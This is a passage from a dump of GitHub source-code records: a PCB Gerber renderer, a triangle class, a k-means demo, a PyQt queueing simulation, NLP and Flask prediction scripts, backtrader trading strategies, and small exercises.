self.outline_alpha\n outline = read(self.layers.outline)\n outline.render(ctx)\n\n if self.copper_color is not None:\n ctx.color = self.copper_color\n if self.copper_alpha is not None:\n ctx.alpha = self.copper_alpha\n copper = read(self.layers.bottom)\n copper.render(ctx)\n\n if self.mask_color is not None:\n ctx.color = self.mask_color\n if self.mask_alpha is not None:\n ctx.alpha = self.mask_alpha\n mask = read(self.layers.bottommask)\n mask.render(ctx, invert=True)\n\n if self.silk_color is not None:\n ctx.color = self.silk_color\n if self.silk_alpha is not None:\n ctx.alpha = self.silk_alpha\n silk = read(self.layers.bottomsilk)\n silk.render(ctx)\n\n if self.drill_color is not None:\n ctx.color = self.drill_color\n if self.drill_alpha is not None:\n ctx.alpha = self.drill_alpha\n drill = read(self.layers.drill)\n drill.render(ctx)\n\n ctx.dump(output_filename)\n\n def render_devel_view(self, output_filename=None,\n quick=False, nox=False):\n output_filename = '{0}.devel.png'.format(output_filename)\n ctx = GerberCairoContext()\n\n ctx.color = theme.COLORS['fr-4']\n ctx.alpha = 1.0\n outline = read(self.layers.outline)\n outline.render(ctx)\n\n ctx.color = self.copper_color\n bottompaste = read(self.layers.bottompaste)\n bottompaste.render(ctx)\n\n ctx.alpha = 0.9\n ctx.color = self.silk_color\n bottomsilk = read(self.layers.bottomsilk)\n bottomsilk.render(ctx)\n\n num_copper_layers = len(self.layers.internal)\n if self.layers.top is not None:\n num_copper_layers += 1\n if self.layers.bottom is not None:\n num_copper_layers += 1\n\n ctx.color = self.layer_colors[num_copper_layers - 1]\n bottom = read(self.layers.bottom)\n bottom.render(ctx)\n\n ctx.alpha = 0.5\n for idx, l in enumerate(self.layers.internal):\n layer = read(l)\n ctx.color = self.layer_colors[num_copper_layers - 2 - idx]\n layer.render(ctx)\n\n ctx.alpha = 0.9\n ctx.color = self.layer_colors[0]\n top = read(self.layers.top)\n top.render(ctx)\n\n ctx.color = self.silk_color\n topsilk = read(self.layers.topsilk)\n topsilk.render(ctx)\n\n ctx.color = self.copper_color\n toppaste = read(self.layers.toppaste)\n toppaste.render(ctx)\n\n ctx.color = theme.COLORS['black']\n ctx.alpha = 1.0\n drill = read(self.layers.drill)\n drill.render(ctx)\n\n ctx.dump(output_filename)\n\n def render(self, *args, **kwargs):\n self.layers = self.dialect(self.filenames)\n self.render_top_view(*args, **kwargs)\n self.render_bottom_view(*args, **kwargs)\n self.render_devel_view(*args, **kwargs)\n","repo_name":"SayCV/tendril","sub_path":"tendril/gedaif/gerberfiles.py","file_name":"gerberfiles.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"42131711773","text":"import math \r\nclass Triangle():\r\n\tdef __init__(self, a, b, c):\r\n\t\tself.a = a\r\n\t\tself.b = b\r\n\t\tself.c = c\r\n\t\r\n\tdef perimeter(self):\r\n\t\treturn self.a + self.b + self.c\r\n\r\n\tdef area(self):\r\n\t\ts = (self.a + self.b + self.c) / 2\r\n\t\treturn math.sqrt(s * (s - self.a) * (s - self.b) * (s - self.c))\r\n\r\n\tdef scale(self, scale_factor):\r\n\t\treturn Triangle(scale_factor * self.a, scale_factor * self.b, scale_factor * self.c)\r\n\r\n\r\n\tdef is_valid(self):\r\n\t\tif((self.a + self.b > self.c) and (self.a + self.c > self.b) and (self.b + self.c > self.a)):\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\n\tdef is_right(self):\r\n\t\tif(math.pow(self.a, 2) + math.pow(self.b, 2) == math.pow(self.c, 2) or \r\n\t\t\tmath.pow(self.b, 2) + math.pow(self.c, 2) == math.pow(self.a, 2) or \r\n\t\t\tmath.pow(self.a, 2) + math.pow(self.c, 2) == math.pow(self.b, 2)):\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\nr = Triangle(1, 6, 7)\r\n\r\nprint(\"Area = %d\" % r.area())\r\n\r\nprint(\"perimeter = %d\" % r.perimeter())\r\n\r\nprint(r.is_valid())\r\nprint(r.is_right())\r\n\r\nq = r.scale(2)\r\n\r\nprint(q.a, q.b, q.c)\r\n","repo_name":"o-laptiy/o-laptiy.github.io","sub_path":"triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4428472628","text":"from __future__ import annotations\n\nimport ast\nimport sys\nfrom dataclasses import dataclass\nfrom inspect import getsource\nfrom typing import Any, Callable, Optional, Generic, TypeVar\n\nfrom pattern_matching.pattern_engine import Pattern, ast2pattern\nfrom pattern_matching.withhacks import WithHack\n\n_matcher_cache: dict[tuple[str, int], _Matcher] = {}\n\n\nclass match(WithHack):\n def __init__(self, value: Any):\n super(match, self).__init__()\n self.value = value\n\n def __enter__(self):\n super(match, self).__enter__()\n \n fn, fl = self.__frame__.f_code.co_filename, self.__frame__.f_lineno\n try:\n m = _matcher_cache[fn, fl]\n except KeyError:\n with open(fn, encoding=\"utf-8\") as f:\n c = f.read()\n m = _matcher_cache[fn, fl] = _parse_match_stmt(c, fl)\n def exe(vars, a):\n lcls = {}\n r = eval(a, {**self.__frame__.f_globals, **vars}, lcls)\n if r:\n vars |= lcls\n return r\n else:\n return r\n \n l, v = m.match(self.value, self._get_local, exe)\n self._set_context_locals(v)\n if l is None:\n self._dont_execute()\n else:\n self._set_lineno(l)\n return self\n \n def __exit__(self, exc_type, exc_val, exc_tb):\n return super(match, self).__exit__(exc_type, exc_val, exc_tb)\n \n\n\n\nT = TypeVar('T')\nU = TypeVar('U')\n\n@dataclass(frozen=True)\nclass _Matcher(Generic[T, U]):\n cases: tuple[tuple[Pattern, T, Optional[U]], ...]\n otherwise: Optional[T]\n\n def match(self, val: Any(), get: Callable[[str], Any], exe: Callable[[dict[str, Any], U], bool]) -> tuple[T, dict[str, Any]]:\n for p, l, g in self.cases:\n res = p.match(val, get)\n if res is not None:\n if g is None or exe(res, g):\n return l, res\n return self.otherwise, {}\n\n\ndef _get_with(a: ast.AST, with_start_line: int) -> ast.With:\n for n in ast.walk(a):\n if isinstance(n, ast.With):\n if n.lineno == with_start_line:\n return n\n else:\n raise ValueError\n\n\ndef _parse_match_stmt(code: str, with_start_line: int) -> _Matcher:\n full_ast = ast.parse(code)\n w = _get_with(full_ast, with_start_line)\n assert len(w.items) == 1\n b = w.body\n cases: list[tuple[Pattern, int, Any]] = []\n while len(b) == 1 and isinstance(b[0], ast.If):\n i, = b\n assert i.test.lineno != i.body[0].lineno\n a = i.test\n if isinstance(a, ast.BoolOp):\n assert isinstance(a.op, ast.And)\n l,r = a.values\n pat, guard = ast2pattern(l), r\n guard = compile(ast.Expression(guard), '<guard>', 'eval')\n else:\n pat, guard = ast2pattern(a), None\n cases.append((pat, i.body[0].lineno, guard))\n b = i.orelse\n if len(b) == 0:\n else_body = None\n else:\n else_body = b[0].lineno\n return _Matcher(tuple(cases), else_body)\n","repo_name":"MegaIng/pattern-matching","sub_path":"pattern_matching/full_magic.py","file_name":"full_magic.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"7661059165","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets, cluster\n\n\ndef init_center(n_clusters, x_data):\n # https://en.wikipedia.org/wiki/K-means++\n # empty array\n centers = list()\n\n # 1. Choose one center uniformly at random from among the data points.\n centers.append(x_data[np.random.randint(x_data.shape[0])])\n\n for i in range(1, n_clusters):\n # 2. For each data point x, compute D(x), the distance\n # between x and the nearest center that has already been chosen.\n dist = list(map(lambda x: np.min(np.linalg.norm(np.subtract(x, centers), axis=1)), x_data))\n\n # 3. Choose one new data point at random as a new center,\n # using a weighted probability distribution where a\n # point x is chosen with probability proportional to D(x)^2.\n idx = np.searchsorted(np.cumsum(dist), np.random.rand() * np.sum(dist))\n\n # 4. Repeat Steps 2 and 3 until k centers have been chosen.\n # we just get a new center by probability distribution, but scikit-learn\n # tries more times to generate a more stable result\n centers.append(x_data[idx])\n return centers\n\n\ndef assignment_step(x_data, centers):\n # Assign each observation to the cluster whose mean has the least squared Euclidean distance\n # Returns a label for each data in the dataset\n # For each element in the dataset, chose the closest centroid.\n # Make that centroid the element's label.\n y_predict = np.zeros(shape=(x_data.shape[0]), dtype=np.int)\n for i, x in enumerate(x_data):\n dist = np.linalg.norm(np.subtract(centers, x), axis=1)\n closest_idx = np.argmin(dist)\n y_predict[i] = closest_idx\n return y_predict\n\n\ndef update_step(n_clusters, x_data, y_label):\n # Calculate the new means to be the centroids of the observations in the new clusters.\n centers = np.zeros(shape=[n_clusters, 2])\n for i in range(n_clusters):\n cluster_idx = np.squeeze(np.equal(y_label, i))\n centers[i] = np.mean(x_data[cluster_idx], axis=0)\n return centers\n\n\ndef kmeans_2():\n # https://en.wikipedia.org/wiki/K-means_clustering\n # https://en.wikipedia.org/wiki/Lloyd%27s_algorithm\n n_clusters = 3\n x_data, y_label = datasets.make_blobs(n_samples=300, random_state=20)\n centers = init_center(n_clusters, x_data)\n for i in range(300):\n y_predict = assignment_step(x_data, centers)\n new_centers = update_step(n_clusters, x_data, y_predict)\n loss = np.sum(np.linalg.norm(np.subtract(new_centers, centers), axis=1))\n if loss < 0.01:\n break\n centers = new_centers\n\n color = ['red', 'green', 'blue']\n for x, y in zip(x_data, y_predict):\n plt.scatter(x[0], x[1], c=color[y])\n plt.scatter(centers[:, 0], centers[:, 1], c='white', marker='x', linewidths=20)\n plt.draw()\n plt.pause(0.1)\n print('finish')\n plt.show()\n\n\ndef main():\n kmeans_2()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ytgui/python-practice","sub_path":"cluster/kmeans_2.py","file_name":"kmeans_2.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"10416606312","text":"from PyQt6.QtCore import Qt\nfrom PyQt6.QtWidgets import (\n QWidget,\n QLabel,\n QSpinBox,\n QFormLayout,\n QVBoxLayout,\n QLineEdit,\n QPushButton\n)\nfrom dataclasses import dataclass\n\nfrom app.time_spinbox import TimeSpinBox\nfrom center.client_generator import ClientGenerator\nfrom center.operator import Operator\nfrom center.computer import Computer\nfrom center.center import Center\n\n@dataclass\nclass Settings:\n button_text = 'Промоделировать'\n\n\n@dataclass\nclass Constants:\n min_clients_number = 100\n max_clients_number = 1000\n\n min_minutes = 1\n max_minutes = 59\n\n\nclass Page(QWidget):\n def __init__(self):\n super().__init__()\n\n clients_title = QLabel('Клиенты')\n clients_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.clients_number = QSpinBox()\n self.clients_number.setRange(Constants.min_clients_number,\n Constants.max_clients_number)\n\n self.clients_time = TimeSpinBox()\n\n clinets_parameters = QFormLayout()\n clinets_parameters.addRow(QLabel('Число клиентов:'), \n self.clients_number)\n clinets_parameters.addRow(QLabel('Интервал прибытия (мин.):'), \n self.clients_time.hbox)\n\n clients = QVBoxLayout()\n clients.addWidget(clients_title)\n clients.addLayout(clinets_parameters)\n\n\n center_title = QLabel('Информационный центр')\n center_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n operators_title = QLabel('Время обслуживания')\n operators_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.first_operator = TimeSpinBox()\n self.second_operator = TimeSpinBox()\n self.third_operator = TimeSpinBox()\n\n operators = QFormLayout()\n operators.addRow(QLabel('первым оператором (мин.)'), \n self.first_operator.hbox)\n operators.addRow(QLabel('вторым оператором (мин.)'), \n self.second_operator.hbox)\n operators.addRow(QLabel('третьим оператором (мин.)'), \n self.third_operator.hbox)\n\n computers_title = QLabel('Время обработки')\n computers_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.first_computer = QSpinBox()\n self.first_computer.setRange(Constants.min_minutes,\n Constants.max_minutes)\n self.second_computer = QSpinBox()\n self.second_computer.setRange(Constants.min_minutes,\n Constants.max_minutes)\n\n computers = QFormLayout()\n computers.addRow(QLabel('первым компьютером (мин.)'), \n self.first_computer)\n computers.addRow(QLabel('вторым компьютером (мин.)'), \n self.second_computer)\n\n\n result_title = QLabel('Результат')\n result_title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n self.successes_number = QLineEdit()\n self.failures_number = QLineEdit()\n self.failure_probability = QLineEdit()\n\n result_parameters = QFormLayout()\n result_parameters.addRow(QLabel('Число обслуженных клиентов:'), \n self.successes_number)\n result_parameters.addRow(QLabel('Число отказов:'), \n self.failures_number)\n result_parameters.addRow(QLabel('Вероятность отказа:'), \n self.failure_probability)\n\n result = QVBoxLayout()\n result.addWidget(result_title)\n result.addLayout(result_parameters)\n\n\n button = QPushButton(Settings.button_text)\n button.clicked.connect(self.__simulate_center)\n\n\n center = QVBoxLayout()\n center.addLayout(clients)\n center.addWidget(center_title)\n center.addWidget(operators_title)\n center.addLayout(operators)\n center.addWidget(computers_title)\n center.addLayout(computers)\n center.addWidget(button)\n center.addLayout(result)\n\n self.setLayout(center)\n\n def __simulate_center(self):\n self.__create_center()\n failures_number = self.center.service_clients()\n self.__set_result(failures_number)\n\n def __create_center(self):\n first_computer = Computer(self.first_computer.value(),\n self.first_computer.value())\n second_computer = Computer(self.second_computer.value(),\n self.second_computer.value())\n\n first_operator = Operator(self.first_operator.value.value(),\n self.first_operator.limit.value(),\n first_computer)\n second_operator = Operator(self.second_operator.value.value(),\n self.second_operator.limit.value(),\n first_computer)\n third_operator = Operator(self.third_operator.value.value(),\n self.third_operator.limit.value(),\n second_computer)\n operators = [first_operator, second_operator, third_operator]\n\n client_generator = ClientGenerator(self.clients_time.value.value(),\n self.clients_time.limit.value(),\n operators,\n self.clients_number.value())\n\n self.center = Center(client_generator)\n\n def __set_result(self, failures_number):\n clients_number = self.clients_number.value()\n successes_number = clients_number - failures_number\n failure_probability = round(failures_number / clients_number, 5)\n\n self.successes_number.setText(str(successes_number))\n self.failures_number.setText(str(failures_number))\n self.failure_probability.setText(str(failure_probability))\n","repo_name":"hamzreg/bmstu-modeling","sub_path":"lab_05/src/app/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":6197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13066676036","text":"import os\nimport json\nimport pandas as pd\ncurrentDirPath = os.path.dirname(os.path.realpath(__file__))\nimport sys\nsys.path.insert(0, os.path.dirname(currentDirPath)+\"/Utils\")\nimport dataReading\nimport dataCleaning\nimport calculateFeatures\nimport modelSelection\n\n\n# function that predicts author of a file or a collection of files based on a path:\ndef predictAuthor(predictionModel, filePath=None, folderPath=None):\n if filePath:\n documentsData=dataReading.readTextFiles(filePath=filePath, lower=True, parseIDAuthorName=False)\n if folderPath:\n documentsData=dataReading.readTextFiles(folderPath=folderPath, lower=True, parseIDAuthorName=False)\n\n inputDataDict=documentsData.to_dict(\"list\")\n\n ## Step 2: Pre-cleaning feature calculation: some feautures have to be calculated before cleaning (ex: number of special characters, named entities, ...):\n documentsData = calculateFeatures.fullFeatureCalculation(pdDataFrame=documentsData,\n textColumnName=\"text\",\n applyTextLength=True,\n applyPunctiationMeasures=True,\n applyCountByNamedEntityType=True,\n applyNumberOfWords=True,\n applyNumberOfStopWords=True,\n applyAvgWordLength=True,\n applyNumberOfNumerics=True,\n applySentiment=True,\n applyTfIdf=False)\n\n print(\"finished step 2: Calculating pre-cleaning features\")\n\n ## Step 3: Cleaning: now that pre-cleaning features are calculated, cleaning can be applied:\n documentsData = dataCleaning.fullDataCleaning(pdDataFrame=documentsData,\n textColumnName=\"text\",\n corrSpelling=False, # sadly enough too time consuming for my computer..\n repContractions=True,\n remPunctuation=True,\n lemmatize=True,\n delStopWords=True)\n\n print(\"finished step 3: Cleaning the text data\")\n\n ## step 4: apply feature engeneering that need to be applied on cleaned data (IDF) fromloaded IDF model (to maintain same vocab list):\n documentsData[\"TfIdf\"] = calculateFeatures.TfIdf(pandasColumn=documentsData[\"text\"], modelLoadPath=os.path.dirname(currentDirPath) + \"/Models/TFIDF Model/tfidfmodel.pkl\")\n\n # All tfidf values are contained in one column (column where each cell is a list of values). We will transform that to multople columns:\n\n splittedTfIdf = pd.DataFrame(documentsData[\"TfIdf\"].values.tolist())\n documentsData = pd.concat([documentsData, splittedTfIdf], axis=1)\n del documentsData[\"TfIdf\"]\n\n ## Step 5: prediction:\n\n # deleting unnecessary cols:\n del documentsData[\"text\"]\n del documentsData[\"path\"]\n\n outputDict={\"input\": inputDataDict,\n \"predicted authors\": modelSelection.predictWithBestModel(predictionModel, documentsData)}\n\n return json.dumps(outputDict, indent=2, sort_keys=True)\n\n\nif __name__ == '__main__':\n # load trained prediction nmodel:\n predictionModel = modelSelection.loadBestModel(os.path.dirname(currentDirPath) + \"/Models/bestPerformingModel\")\n\n folderPath = os.path.dirname(currentDirPath) + \"/Data/inputFilesExamples\"\n filePath = folderPath+\"/doc_id00003testMultiLine.txt\"\n\n print(\"Testing function referring to single file:\")\n print(predictAuthor(predictionModel=predictionModel, filePath=filePath))\n\n print(\"Testing function referring to folder:\")\n print(predictAuthor(predictionModel=predictionModel, folderPath=folderPath))\n\n\n\n","repo_name":"Agilytic/training_nlp","sub_path":"Scripts/predictFunction.py","file_name":"predictFunction.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"36908396208","text":"from flask import Flask, request, jsonify\nimport joblib\nimport traceback\n\nfrom text_processor import TextPreprocessor\n\napp = Flask(__name__)\n\nmodel = None\n\n\n@app.route(\"/\")\ndef hello():\n return \"Welcome to machine learning model APIs!\"\n\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n def run_model(model, X, k):\n import numpy as np\n\n all_probs = model.predict_proba(X)\n k = max(min(all_probs.size, k), 1)\n topk_idx = np.argpartition(all_probs, -k)[:, :-k-1:-1]\n topk_classes = model.classes_[topk_idx]\n topk_probs = np.array([all_probs[n, idx]\n for n, idx in enumerate(topk_idx)])\n return [\n [{'class': c, 'probability': p}\n for p, c in sorted(zip(probs, classes), reverse=True)]\n for classes, probs in zip(topk_classes, topk_probs)]\n\n if model:\n try:\n json_ = request.json\n print(json_)\n title = TextPreprocessor.clean_text(json_['title'])\n body = TextPreprocessor.clean_text(json_['body'])\n k = json_.get('k', 3)\n debug = json_.get('debug', False)\n\n query = title + ' ' + body\n prediction = run_model(model, [query], k)[0]\n\n response_dict = {'prediction': prediction}\n if debug:\n response_dict['title'] = title\n response_dict['body'] = body\n\n\n return jsonify(response_dict)\n\n except:\n return jsonify({'trace': traceback.format_exc()})\n else:\n print('Train the model first')\n return 'No model here to use'\n\n\nif __name__ == '__main__':\n print('Start init text preprocessor')\n TextPreprocessor.init()\n print('Text preprocessor initialized')\n\n print('Start model loading')\n model = joblib.load('model.pkl')\n print('Model loaded')\n app.run(debug=True, port=8080)\n","repo_name":"helena128/StackOverflowTagger","sub_path":"api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16938648679","text":"import backtrader as bt\nfrom numpy import diff, reshape\nfrom backtrader.indicators import EMA, AwesomeOscillator, Indicator, And, If, MovAv, ATR\nfrom pandas import DataFrame\nimport pandas\nclass St(bt.Strategy): #stop trail - stoploss / not percent, stop trail by amount\n params = dict(\n ma=bt.ind.SMA,\n p1=10,\n p2=30,\n stoptype=bt.Order.StopTrail,\n trailamount=1000,\n trailpercent=1.0,\n limitoffset=0.0,\n )\n\n def __init__(self):\n ma1, ma2 = self.p.ma(period=self.p.p1), self.p.ma(period=self.p.p2)\n self.crup = bt.ind.CrossUp(ma1, ma2)\n self.order = None\n\n def next(self):\n if not self.position:\n if self.crup:\n o = self.buy()\n self.order = None\n print('*' * 50)\n\n elif self.order is None:\n if self.p.stoptype == bt.Order.StopTrailLimit:\n price = self.data.close[0]\n plimit = self.data.close[0] + self.p.limitoffset\n else:\n price = None\n plimit = None\n\n self.order = self.sell(exectype=self.p.stoptype,\n price=price,\n plimit=plimit,\n trailamount=self.p.trailamount,\n trailpercent=self.p.trailpercent)\n\n if self.p.trailamount:\n tcheck = self.data.close - self.p.trailamount\n else:\n tcheck = self.data.close * (1.0 - self.p.trailpercent)\n print(','.join(\n map(str, [self.datetime.date(), self.data.close[0],\n self.order.created.price, tcheck])\n )\n )\n print('-' * 10)\n else:\n if self.p.trailamount:\n tcheck = self.data.close - self.p.trailamount\n else:\n tcheck = self.data.close * (1.0 - self.p.trailpercent)\n print(','.join(\n map(str, [self.datetime.date(), self.data.close[0],\n self.order.created.price, tcheck])\n )\n )\n\nclass sell_AO(bt.SignalStrategy):\n lines = ('line',)\n params = (('period', 14),)\n\n # lines = ('macd', 'signal', 'histo',)\n # params = (('period_me1', 12), ('period_me2', 26), ('period_signal', 9),)\n def __init__(self):\n self.line = bt.ind.AwesomeOscillator().ao\n # self.lines.signal = bt.ind.CrossUp(vi_plus, vi_minus)\n # self.lines.signal=ao.ao \n print(self.line._method)\n print(self.line.alpha)\n print(self.line.width)\n self.sell=bt.ind.DownMove(self.line)\n # self.lines.signal=ao.width\n self.signal_add(bt.SIGNAL_LONGEXIT, self.sell)\n def next(self):\n if (self.line > 0 & self.sell > 0):\n self.close()\n \nclass SmaCross(bt.SignalStrategy):\n def notify_order(self, order):\n if not order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n def __init__(self):\n sma1, sma2 = bt.ind.SMA(period=10), bt.ind.SMA(period=30)\n # print(type(sma1))\n crossover = bt.ind.CrossOver(sma1, sma2)\n self.signal_add(bt.SIGNAL_LONGSHORT, crossover)\n\n#STOCHRSI\nclass StochrsiCross(bt.SignalStrategy):\n def notify_order(self, order):\n if not order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n def __init__(self):\n srsi_k = bt.talib.STOCHRSI(self.data, timeperiod=14, fastk_period=3, fastd_period=3, fastd_matype=0).fastk\n srsi_d = bt.talib.STOCHRSI(self.data, timeperiod=14, fastk_period=3, fastd_period=3, fastd_matype=0).fastd\n self.crossdown = bt.ind.CrossDown(srsi_k, srsi_d) # k crosses down d -> longexit\n self.signal_add(bt.SIGNAL_SHORT, self.crossdown)\n#전략 문제임.\n\nclass AwesomeOSC_Downward(bt.SignalStrategy):\n def notify_order(self, order):\n if not order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n\n def __init__(self):\n lines = ('ao',)\n self.ao = bt.ind.AwesomeOscillator(self.data)\n self.d1=D2(self.ao).downmove\n\n # self.signal_add(bt.SIGNAL_LONGEXIT, self.lines)\n def next(self):\n if self.ao >0 and self.d1>0:\n self.close()\n # pass\ndef Function_For_Build_SupervisedLSTM_Strategy_Object(FeatureData_PeriodRange_Start, FeatureData_PeriodRange_End):\n\n class LSTM_StrategyObject(bt.Strategy):\n def __init__(self):\n\n self.data_open = self.datas[0].open\n self.data_high = self.datas[0].high\n self.data_low = self.datas[0].low\n self.data_close = self.datas[0].close\n self.data_volume = self.datas[0].volume\n\n \n def next(self):\n\n def Function_Make_FeatureDataSet(From_Period, To_Period):\n\n Im_Feature_DataSet = []\n\n for TimeSequence in range( From_Period, To_Period, -1) :\n\n Im_Feature_DataSet.append(self.data_open[TimeSequence])\n Im_Feature_DataSet.append(self.data_high[TimeSequence])\n Im_Feature_DataSet.append(self.data_low[TimeSequence])\n Im_Feature_DataSet.append(self.data_close[TimeSequence])\n Im_Feature_DataSet.append(self.data_volume[TimeSequence])\n\n return Im_Feature_DataSet\n\n Im_Current_Feature_DataSet = reshape(Function_Make_FeatureDataSet(0, FeatureData_PeriodRange_End - FeatureData_PeriodRange_Start), (1,1, 5*( FeatureData_PeriodRange_Start - FeatureData_PeriodRange_End) ))\n\n if Im_prediction_function(Im_Current_Feature_DataSet) >= (1.03 * self.data_close[0]) :\n self.buy()\n elif Im_prediction_function(Im_Current_Feature_DataSet) <= (0.97 * self.data_close[0]):\n self.sell()\n\n return LSTM_StrategyObject\nclass VICross(bt.SignalStrategy):\n def notify_order(self, order):\n if not order.alive():\n print('{} {} {}@{}'.format(\n bt.num2date(order.executed.dt),\n 'buy' if order.isbuy() else 'sell',\n order.executed.size,\n order.executed.price)\n )\n def notify_trade(self, trade):\n if trade.isclosed:\n print('profit {}'.format(trade.pnlcomm))\n lines = ('signal',)\n params = (('period', 14),)\n\n def __init__(self):\n lines = ('vi_crossup', 'vi_crossdown','oscillator','ln')\n vi_plus = bt.ind.Vortex(self.data).vi_plus\n vi_minus = bt.ind.Vortex(self.data).vi_minus\n self.vi_crossup = bt.ind.CrossUp(vi_plus, vi_minus)\n self.vi_crossdown = bt.ind.CrossDown(vi_plus,vi_minus)\n self.signal_add(bt.SIGNAL_LONG, self.vi_crossup)\n\n self.oscillator= bt.ind.AwesomeOscillator(self.data)\n # print(type(oscillator),oscillator)\n #if awesome oscillator > 0 and two consecutive red (meaning decreasing from the last point) then close the position.\n self.ln=bt.talib.LN(self.data)\n\n def next(self):\n #vi_crossup > 0 and AO is green\n if (self.vi_crossup > 0) and (self.oscillator[-2] - self.oscillator[-1] > 0):\n self.buy()\n # if self.vi_crossdown > 0:\n # self.close()\n if ((self.oscillator[-2] - self.oscillator[-1] > 0) and (self.oscillator[-3]-self.oscillator[-2] > 0) and (self.oscillator > 0)):\n # if ((self.oscillator >0) and (self.oscillator(-2) - self.oscillator(-1) > 0) and (self.oscillator(-3) - self.oscillator(-2) > 0)):\n self.close()\n","repo_name":"dscoool/alpha-01","sub_path":"strategy3.py","file_name":"strategy3.py","file_ext":"py","file_size_in_byte":8479,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"31898720528","text":"import pandas as pd\nfrom nltk.corpus import stopwords\nfrom nltk import word_tokenize\nimport nltk\nimport string\nfrom unidecode import unidecode\n#from litreview.params import LOCAL_CSV\nnltk.download('stopwords')\nnltk.download('punkt')\nnltk.download('wordnet')\n\nstop_words = set(stopwords.words('english'))\n\n# single steps\ndef lower_case(text):\n lowercased = text.lower()\n return lowercased\n\ndef remove_whitespaces(text):\n merged_spaces = text.replace(r\"\\s\\s+\",' ')\n return merged_spaces\n\ndef remove_special_characters(text):\n text = unidecode(text)\n return text\n\ndef remove_punctuation(text):\n for punctuation in string.punctuation:\n text = text.replace(punctuation, '')\n return text\n\ndef remove_stopwords(text):\n tokenized = word_tokenize(text)\n without_stopwords = [word for word in tokenized if not word in stop_words]\n return without_stopwords\n\n# this function is not working\ndef remove_numbers(lst):\n for word in lst:\n if word.isdecimal():\n lst.remove(word)\n return lst\n\ndef preprocessing(csv_input):\n df = pd.read_csv(csv_input)\n df[\"clean_abstract\"] = df[\"abstract\"] + df[\"authors\"] + df[\"title\"]\n df['clean_abstract'] = df.clean_abstract.apply(lower_case)\n df['clean_abstract'] = df.clean_abstract.apply(remove_whitespaces)\n df['clean_abstract'] = df.clean_abstract.apply(remove_special_characters)\n df['clean_abstract'] = df.clean_abstract.apply(remove_punctuation)\n df['clean_abstract'] = df.clean_abstract.apply(remove_stopwords)\n df[\"clean_abstract_text\"] = df[\"clean_abstract\"].apply(lambda x: \" \".join(x))\n\n return df\n\ndef input_preprocessing(text):\n text = lower_case(text)\n text = remove_whitespaces(text)\n text = remove_special_characters(text)\n text = remove_punctuation(text)\n text = remove_stopwords(text)\n text = \" \".join(text)\n return text\n","repo_name":"clairefiltz/litreview","sub_path":"litreview/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23301886627","text":"\"\"\"\nПриклади використання static and classmethod.\nhasattr\nСпробувати імпортувати класс з одно модуля в інший.\n\"\"\"\n\nfrom datetime import date\n\n\nclass Person:\n \"\"\"Demonstrate classmethod and staticmethod use age of person\"\"\"\n def __init__(self, name, age):\n self.name = name\n if age >= 121:\n self.age = 'You are not real'\n else:\n self.age = age\n\n\n @classmethod\n def year_from_birth(cls, name, year):\n \"\"\"a class method to create a Person object by birth year\"\"\"\n return cls(name, date.today().year - year)\n\n\n @staticmethod\n def is_adult(age):\n \"\"\"a static method to check if a Person is adult or not\"\"\"\n return age > 18\n\n\nperson1 = Person('mayank', 21)\nperson2 = Person.year_from_birth('mayank', 1996)\n\nif __name__ == '__main__':\n print(person1.age)\n print(person2.age)\n print(Person.isAdult(22))\n","repo_name":"GooseOfWar/hillel_python_course_beginer","sub_path":"HW_14/voropaiev_illia_task_1_hw_14.py","file_name":"voropaiev_illia_task_1_hw_14.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"14170807976","text":"# Problem: You are given an array of integers in an arbitrary order. Return whether or not it is possible to make the array non-decreasing by modifying at most 1 element to any value.\n# We define an array is non-decreasing if array[i] <= array[i + 1] holds for every i (1 <= i < n).\n#Example: [13, 4, 7] should return true, since we can modify 13 to any value 4 or less, to 